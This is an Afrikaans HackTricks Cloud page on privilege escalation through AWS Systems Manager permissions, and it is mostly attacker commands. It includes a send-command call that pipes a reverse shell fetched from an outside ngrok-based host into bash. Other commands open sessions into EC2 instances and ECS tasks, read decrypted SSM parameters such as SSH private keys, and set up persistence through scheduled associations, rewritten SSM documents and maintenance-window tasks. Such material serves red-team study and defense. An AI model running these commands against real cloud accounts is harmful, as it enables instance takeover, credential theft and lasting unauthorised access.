AWS - SSM Privesc
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
SSM
Vir meer inligting oor SSM, kyk:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
’n Aanvaller met die toestemming ssm:SendCommand kan commands in instances uitvoer wat die Amazon SSM Agent laat loop en die IAM Role wat daarin loop, kompromitteer.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
In die geval dat jy hierdie technique gebruik om privileges binne ’n reeds compromised EC2 instance te escalate, kan jy eenvoudig die rev shell plaaslik capture met:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Potensiële Impak: Direkte privesc na die EC2 IAM roles attached to running instances with SSM Agents running.
ssm:StartSession
’n Aanvaller met die permissie ssm:StartSession kan ’n SSH-like session in instances begin wat die Amazon SSM Agent run en die IAM Role kompromitteer wat daarin run.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
Caution
In order to start a session you need the SessionManagerPlugin geïnstalleer: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potensiële Impak: Direkte privesc na die EC2 IAM roles wat aan lopende instances gekoppel is met SSM Agents wat loop.
Privesc na ECS
Wanneer ECS tasks met ExecuteCommand enabled loop, kan users met genoeg permissions ecs execute-command gebruik om ’n command binne-in die container uit te voer.
Volgens the documentation word dit gedoen deur ’n secure channel te skep tussen die device wat jy gebruik om die “exec“ command te begin en die target container met SSM Session Manager. (SSM Session Manager Plugin nodig vir hierdie om te werk)
Daarom sal users met ssm:StartSession in staat wees om ’n shell binne ECS tasks te kry met daardie option enabled net deur te loop:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Potensiële Impak: Direkte privesc na die ECSIAM roles wat aan lopende tasks gekoppel is met ExecuteCommand geaktiveer.
ssm:ResumeSession
’n Aanvaller met die permission ssm:ResumeSession kan ’n SSH-agtige session in instances wat die Amazon SSM Agent laat loop, met ’n verbonde SSM session state, herbegin en die IAM Role kompromitteer wat daarin loop.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Potensiële Impak: Direkte privesc na die EC2 IAM roles wat aan lopende instances geheg is met SSM Agents wat loop en ontkoppelde sessies.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
’n Aanvaller met die genoemde permissions gaan in staat wees om die SSM parameters te lys en hulle in clear-text te lees. In hierdie parameters kan jy gereeld sensitiewe inligting vind soos SSH keys of API keys.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Potensiële Impak: Vind sensitiewe inligting binne die parameters.
ssm:ListCommands
’n Aanvaller met hierdie toestemming kan al die commands wat gestuur is lys en hopelik sensitiewe inligting daarop vind.
aws ssm list-commands
Potensiële Impak: Vind sensitiewe inligting binne die command lines.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
’n Aanvaller met hierdie permissions kan al die commands wat gestuur is lys en die output lees wat gegenereer is, en hopelik sensitiewe inligting daarin vind.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Potensiële impak: Vind sensitiewe inligting binne die uitset van die command lines.
Using ssm:CreateAssociation
’n Aanvaller met die permissie ssm:CreateAssociation kan ’n State Manager Association skep om outomaties commands op EC2 instances uit te voer wat deur SSM bestuur word. Hierdie associations kan gekonfigureer word om met ’n vaste interval te run, wat hulle geskik maak vir backdoor-agtige persistence sonder interactive sessions.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Hierdie persistence-metode werk solank die EC2 instance deur Systems Manager bestuur word, die SSM agent loop, en die attacker toestemming het om associations te create. Dit vereis nie interactive sessions of eksplisiete ssm:SendCommand permissions nie. Important: Die
--schedule-expressionparameter (bv.rate(30 minutes)) moet AWS se minimum interval van 30 minute respekteer. Vir immediate of one-time execution, laat--schedule-expressionheeltemal weg — die association sal een keer na creation execute.
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
’n attacker met die permissions ssm:UpdateDocument en ssm:UpdateDocumentDefaultVersion kan privileges escalate deur bestaande documents te modify. Dit laat ook persistence binne daardie document toe. Prakties sou die attacker ook ssm:ListDocuments nodig hê om die name vir custom documents te kry en as die attacker sy payload binne ’n bestaande document wil obfuscate, sou ssm:GetDocument ook necessary wees.
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
Hieronder is ’n voorbeeld dokument wat gebruik kan word om ’n bestaande dokument te oorskryf. Jy sal wil seker maak jou dokumenttipe stem ooreen met die teikendokument se tipe om probleme met invokasie te voorkom. Die dokument hieronder sal byvoorbeeld die ssm:SendCommand en ssm:CreateAssociation voorbeelde gebruik.
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
n Aanvaller met die toestemmings **ssm:RegisterTaskWithMaintenanceWindow** en **ssm:RegisterTargetWithMaintenanceWindow** kan privileges eskaleer deur eers ’n nuwe target met ’n bestaande maintenance window te registreer en dan ’n nuwe task op te dateer en te registreer. Dit maak execution op die bestaande targets moontlik, maar kan ’n aanvaller toelaat om compute met verskillende roles te kompromitteer deur nuwe targets te registreer. Dit laat ook persistence toe, aangesien maintenance window tasks tydens die venster-skepping op ’n voorafbepaalde interval uitgevoer word. In die praktyk sou die aanvaller ook **ssm:DescribeMaintenanceWindows`** nodig hê om die maintenance window IDs te kry.
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Codebuild
Jy kan ook SSM gebruik om binne ’n codebuild-projek te kom wat gebou word:
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

